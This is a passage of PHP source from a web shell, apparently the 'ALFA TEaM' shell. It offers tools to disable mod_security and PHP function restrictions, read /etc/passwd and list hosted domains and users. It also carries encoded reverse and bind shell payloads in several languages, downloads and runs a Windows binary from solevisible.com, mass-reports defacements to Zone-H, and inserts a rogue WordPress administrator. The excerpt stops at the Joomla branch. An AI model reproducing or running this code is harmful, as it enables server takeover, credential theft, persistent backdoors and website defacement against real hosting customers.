    echo "<h3><a href=javascript:void(0) onclick=\"g('safe',null,'php.ini',null)\">| PHP.INI | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,'ini')\">| .htaccess(apache) | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,'pl')\">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,'passwd')\">| Read-Passwd | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,null,'users')\">| Read-Users | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,null,null,'valiases')\">| Get-User | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,null,null,null,null,'domains')\">| Get-Domains | </a></center></h3>";
    if (!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains') {
        if (!_alfa_file_exists("/etc/virtual/domainowners")) {
            echo __pre();
            $solevisible9 = _alfa_file('/etc/named.conf');
            if (is_array($solevisible9)) {
                foreach ($solevisible9 as $solevisible13) {
                    if (@eregi('zone', $solevisible13)) {
                        preg_match_all('#zone "(.*)"#', $solevisible13, $solevisible14);
                        if (strlen(trim($solevisible14[1][0])) > 2) {
                            echo $solevisible14[1][0] . '<br>';
                        }
                    }
                }
            }
        } else {
            echo __pre();
            $users = _alfa_file("/etc/virtual/domainowners");
            if (is_array($users)) {
                foreach ($users as $boz) {
                    $dom = explode(":", $boz);
                    echo $dom[0] . "\n";
                }
            }
        }
    }
    if (!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases') {
        echo "\r\n<form onsubmit=\"g('safe',null,null,null,null,null,null,'valiases',this.site.value,null,'>>'); return false;\" method=\"post\" /><center><div class=\"txtfont\">Url: </font><input type=\"text\" placeholder=\"site.com\" name=\"site\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center>";
        if (isset($_POST['alfa9']) && $_POST['alfa9'] == '>>') {
            if (!_alfa_file_exists("/etc/virtual/domainowners")) {
                $site = trim($_POST['alfa7']);
                $rep = str_replace(array("https://", "http://", "www."), "", $site);
                $user = "";
                if (function_exists("posix_getpwuid") && function_exists("fileowner")) {
                    if ($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))) {
                        $user = $user['name'];
                    }
                } else {
                    if (_alfa_can_runCommand(true, true)) {
                        $user = alfaEx("stat -c '%U' /etc/valiases/" . $rep);
                    }
                }
                if (!empty($user) && $user != 'root') {
                    echo __pre() . "<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
                } else {
                    echo __pre() . '<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';
                }
            } else {
                $site = trim($_POST['alfa7']);
                $rep = str_replace(array("https://", "http://", "www."), "", $site);
                $users = _alfa_file("/etc/virtual/domainowners");
                foreach ($users as $boz) {
                    $ex = explode(":", $boz);
                    if ($ex[0] == $rep) {
                        echo __pre() . "<center><table border='1'>\r\n<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">" . trim($ex[1]) . "</font></b></td></tr>\r\n<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
                        break;
                    }
                }
            }
        }
    }
    if (!empty($_POST['alfa5']) && isset($_POST['alfa5'])) {
        if (!_alfa_file_exists("/etc/virtual/domainowners")) {
            echo __pre();
            $i = 0;
            while ($i < 60000) {
                $line = @posix_getpwuid($i);
                if (!empty($line)) {
                    while (list($key, $vl) = each($line)) {
                        echo $vl . "\n";
                        break;
                    }
                }
                $i++;
            }
        } else {
            echo __pre();
            $users = _alfa_file("/etc/virtual/domainowners");
            foreach ($users as $boz) {
                $user = explode(":", $boz);
                echo trim($user[1]) . '<br>';
            }
        }
    }
    if (!empty($_POST['alfa4']) && isset($_POST['alfa4'])) {
        echo __pre();
        if (_alfa_can_runCommand(true, true)) {
            echo __read_file("/etc/passwd");
        } elseif (function_exists("posix_getpwuid")) {
            for ($uid = 0; $uid < 60000; $uid++) {
                $ara = @posix_getpwuid($uid);
                if (!empty($ara)) {
                    while (list($key, $val) = each($ara)) {
                        echo "{$val}:";
                    }
                    echo "\n";
                }
            }
        } else {
            __alert('failed...');
        }
    }
    if (!empty($_POST['alfa2']) && isset($_POST['alfa2'])) {
        @__write_file($GLOBALS['cwd'] . ".htaccess", "#Generated By Sole Sad and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
        echo "<center><b><big>htaccess for Apache created...!</center></b></big>";
    }
    if (!empty($_POST['alfa1']) && isset($_POST['alfa1'])) {
        @__write_file($GLOBALS['cwd'] . "php.ini", "safe_mode=OFF\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");
        echo "<center><b><big> php.ini created...!</center></b></big>";
    }
    if (!empty($_POST['alfa3']) && isset($_POST['alfa3'])) {
        @__write_file($GLOBALS['cwd'] . ".htaccess", "#Generated By Sole Sad and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
        echo "<center><b><big>htaccess for Litespeed created...!</center></b></big>";
    }
    echo "<br></div>";
    alfafooter();
}
function __get_resource($content)
{
    return @gzinflate(__ZGVjb2Rlcg($content));
}
function __write_file($file, $content)
{
    if ($fh = @fopen($file, "wb")) {
        if (fwrite($fh, $content) !== false) {
            return true;
        }
    }
    return false;
}
function bcinit($evalType, $evalCode, $evalOptions, $evalArguments)
{
    $res = "<font color='green'>[ Success...! ]</font>";
    $err = "<font color='red'>[ Failed...! ]</font>";
    if ($evalOptions != "") {
        $evalOptions .= " ";
    }
    if ($evalArguments != "") {
        $evalArguments = " " . $evalArguments;
    }
    if ($evalType == "c") {
        $tmpdir = ALFA_TEMPDIR;
        chdir($tmpdir);
        if (is_writable($tmpdir)) {
            $uniq = substr(md5(time()), 0, 8);
            $filename = $evalType . $uniq . ".c";
            $path = $filename;
            if (__write_file($path, $evalCode)) {
                $ext = $GLOBALS['sys'] == 'win' ? ".exe" : ".out";
                $pathres = $filename . $ext;
                $evalOptions = "-o " . $pathres . " " . $evalOptions;
                $cmd = "gcc " . $evalOptions . $path;
                alfaEx($cmd);
                if (is_file($pathres)) {
                    if (chmod($pathres, 0755)) {
                        $cmd = $pathres . $evalArguments;
                        alfaEx($cmd);
                    } else {
                        $res = $err;
                    }
                    unlink($pathres);
                } else {
                    $res = $err;
                }
                unlink($path);
            } else {
                $res = $err;
            }
        }
        return $res;
    } elseif ($evalType == "java") {
        $tmpdir = ALFA_TEMPDIR;
        chdir($tmpdir);
        if (is_writable($tmpdir)) {
            if (preg_match("/class\\ ([^{]+){/i", $evalCode, $r)) {
                $classname = trim($r[1]);
                $filename = $classname;
            } else {
                $uniq = substr(md5(time()), 0, 8);
                $filename = $evalType . $uniq;
                $evalCode = "class " . $filename . " { " . $evalCode . " } ";
            }
            $path = $filename . ".java";
            if (__write_file($path, $evalCode)) {
                $cmd = "javac " . $evalOptions . $path;
                alfaEx($cmd);
                $pathres = $filename . ".class";
                if (is_file($pathres)) {
                    if (chmod($pathres, 0755)) {
                        $cmd = "java " . $filename . $evalArguments;
                        alfaEx($cmd);
                    } else {
                        $res = $err;
                    }
                    unlink($pathres);
                } else {
                    $res = $err;
                }
                unlink($path);
            } else {
                $res = $err;
            }
        }
        return $res;
    }
    return false;
}
function alfaconnect()
{
    alfahead();
    $php = "7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
    $python = "pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
    $perl = "lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
    $ruby = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
    $node = "nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
    $c = "tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
    $java = "lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
    echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
    echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">\r\n<div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
    $cbArr = array("php" => "Php", "perl" => "Perl", "python" => "Python", "ruby" => "Ruby", "c" => "C", "java" => "Java", "node" => "NodeJs", "bcwin" => "Windows");
    foreach ($cbArr as $key => $val) {
        echo "<option value='{$key}' " . ($GLOBALS['sys'] == 'win' ? 'selected' : '') . ">{$val}</option>";
    }
    echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
    if (isset($_POST['alfa1']) && !empty($_POST['alfa1'])) {
        $lang = $_POST['alfa1'];
        $ip = $_POST['alfa2'];
        $port = $_POST['alfa3'];
        $arg = $_POST['alfa4'] == 'bind' ? $port : $port . ' ' . $ip;
        $tmpdir = ALFA_TEMPDIR;
        $name = "ALFA_TEMPDIR/" . $lang . uniqid() . rand(1, 99999);
        $allow = array('perl', 'ruby', 'python', 'node');
        eval('$lan=$' . $lang . ';');
        if (in_array($lang, $allow)) {
            if (__write_file($name, __get_resource($lan))) {
                if (_alfa_can_runCommand(true, true)) {
                    $os = $GLOBALS['sys'] != 'win' ? '1>/dev/null 2>&1 &' : '';
                    $out = alfaEx("{$lang} {$name} {$arg} {$os}");
                    if ($out == '') {
                        $out = "<font color='green'><center>[ Finished...! ]</center></font>";
                    }
                    echo "<pre class='ml1' style='margin-top:5px'>{$out}</pre>";
                }
            } else {
                echo "<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>";
            }
        }
        if ($lang == 'java' || $lang == 'c') {
            $code = __get_resource($lan);
            $out = nl2br(bcinit($lang, $code, '', ''));
            echo "<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>";
        }
        if ($lang == 'bcwin') {
            $alfa = new AlfaCURL();
            $s = $alfa->Send('http://solevisible.com/bc/windows.exe');
            $tmpdir = ALFA_TEMPDIR;
            $f = @fopen("ALFA_TEMPDIR/bcwin.exe", 'w+');
            @fwrite($f, $s);
            @fclose($f);
            $out = alfaEx("ALFA_TEMPDIR/bcwin.exe " . $_POST['alfa2'] . " " . $_POST['alfa3']);
        }
        if ($lang == 'php') {
            echo "<pre class=ml1 style='margin-top:5px'>";
            $code = __get_resource($lan);
            if ($code !== false) {
                $code = "\$target = \"" . $arg . "\";\n" . $code;
                eval($code);
                echo "<center><font color='green'>[ Finished...! ]</font></center>";
            }
            echo "</pre>";
        }
    }
    echo "</div>";
    alfafooter();
}
function alfazoneh()
{
    alfahead();
    echo "<div class=header>";
    if (!function_exists('curl_version')) {
        echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
    }
    $hackmode = array('known vulnerability (i.e. unpatched system)', 'undisclosed (new) vulnerability', 'configuration / admin. mistake', 'brute force attack', 'social engineering', 'Web Server intrusion', 'Web Server external module intrusion', 'Mail Server intrusion', 'FTP Server intrusion', 'SSH Server intrusion', 'Telnet Server intrusion', 'RPC Server intrusion', 'Shares misconfiguration', 'Other Server intrusion', 'SQL Injection', 'URL Poisoning', 'File Inclusion', 'Other Web Application bug', 'Remote administrative panel access bruteforcing', 'Remote administrative panel access password guessing', 'Remote administrative panel access social engineering', 'Attack against administrator(password stealing/sniffing)', 'Access credentials through Man In the Middle attack', 'Remote service password guessing', 'Remote service password bruteforce', 'Rerouting after attacking the Firewall', 'Rerouting after attacking the Router', 'DNS attack through social engineering', 'DNS attack through cache poisoning', 'Not available', 'Cross-Site Scripting');
    $reason = array('Heh...just for fun!', 'Revenge against that website', 'Political reasons', 'As a challenge', 'I just want to be the best defacer', 'Patriotism', 'Not available');
    echo "\r\n<center><br><div class=\"txtfont_header\">| Zone-h Mass Poster |</div><center><br>\r\n<form action=\"\" method=\"post\" onsubmit=\"g('zoneh',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,'>>'); return false;\">\r\n<input type=\"text\" name=\"defacer\" size=\"67\" id=\"text\" placeholder=\"ALFA TEaM 2012\" />\r\n<br>\r\n<select id=\"text\" name=\"hackmode\" style=\"width:400px;\">";
    $x = 1;
    foreach ($hackmode as $mode) {
        echo '<option style="background-color: rgb(F, F, F);" value="' . $x . '">' . $mode . '</option>';
        $x++;
    }
    echo "</select><br><select id=\"text\" name=\"reason\" style=\"width:200px;\">";
    $x = 1;
    foreach ($reason as $mode) {
        echo '<option style="background-color: rgb(F, F, F);" value="' . $x . '">' . $mode . '</option>';
        $x++;
    }
    echo "</select><br>\r\n<textarea name=\"domain\" cols=\"90\" rows=\"20\" placeholder=\"Domains...\"></textarea><br>\r\n<p><input type=\"submit\" value=\" \" name=\"go\" /></p>\r\n</form></center>";
    if ($_POST['alfa5'] && $_POST['alfa5'] == '>>') {
        ob_start();
        $hacker = $_POST['alfa1'];
        $method = $_POST['alfa2'];
        $neden = $_POST['alfa3'];
        $site = $_POST['alfa4'];
        if (empty($hacker)) {
            die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
        } elseif ($method == "------------------------------------SELECT-------------------------------------") {
            die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
        } elseif ($neden == "------------------------------------SELECT-------------------------------------") {
            die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
        } elseif (empty($site)) {
            die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
        }
        $i = 0;
        $sites = explode("\n", $site);
        $alfa = new AlfaCURL();
        while ($i < count($sites)) {
            if (substr($sites[$i], 0, 4) != "http") {
                $sites[$i] = "http://" . $sites[$i];
            }
            $alfa->Send("http://www.zone-h.com/notify/single", "post", "defacer=" . $hacker . "&domain1=" . $sites[$i] . "&hackmode=" . $method . "&reason=" . $neden);
            ++$i;
        }
        echo __pre() . "<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
    }
    echo "</div>";
    alfafooter();
}
function alfapwchanger()
{
    alfahead();
    echo "<div class=header><center><br><div class=\"txtfont_header\">| Add New Admin |</div>\r\n<center><h3>";
    $vals = array('WordPress' => array('wp', 2), 'Joomla' => array('joomla', 3), 'vBulletin' => array('vb', 5), 'phpBB' => array('phpbb', 6), 'WHMCS' => array('whmcs', 7), 'MyBB' => array('mybb', 8), 'Php Nuke' => array('nuke', 9), 'Drupal' => array('drupal', 10), 'SMF' => array('smf', 11));
    Alfa_Create_A_Tag('pwchanger', $vals);
    echo "</h3></center>";
    if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'wp') {
        echo __pre() . '<center><center><div class="txtfont_header">| WordPress |</div>
<p>' . getConfigHtml('wp') . '</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form>";
        if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
            $localhost = $_POST['alfa3'];
            $database = $_POST['alfa4'];
            $username = $_POST['alfa5'];
            $password = $_POST['alfa6'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (ID,user_login,user_pass,user_email) values(null,'{$admin}','d4a590caacc0be55ef286e40a945ea45','{$SQL}')") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "select ID from " . $prefix . "users where user_login='" . $admin . "'") or die(mysqli_error($conn));
            $sole = @mysqli_num_rows($solevisible);
            if ($sole == 1) {
                $solevis = @mysqli_fetch_assoc($solevisible);
                $res = $solevis['ID'];
            }
            $solevisible = @mysqli_query($conn, "insert into " . $prefix . "usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'" . $res . "','first_name','solevisible'),(null,'" . $res . "','last_name','solevisible'),(null,'" . $res . "','nickname','solevisible'),(null,'" . $res . "','description','solevisible'),(null,'" . $res . "','rich_editing','true'),(null,'" . $res . "','comment_shortcuts','false'),(null,'" . $res . "','admin_color','fresh'),(null,'" . $res . "','use_ssl','0'),(null,'" . $res . "','show_admin_bar_front','true'),(null,'" . $res . "','" . $prefix . "capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'" . $res . "','" . $prefix . "user_level','10'),(null,'" . $res . "','show_welcome_panel','1'),(null,'" . $res . "','" . $prefix . "dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if ($_POST['alfa2'] && $_POST['alfa2'] == 'joomla') {
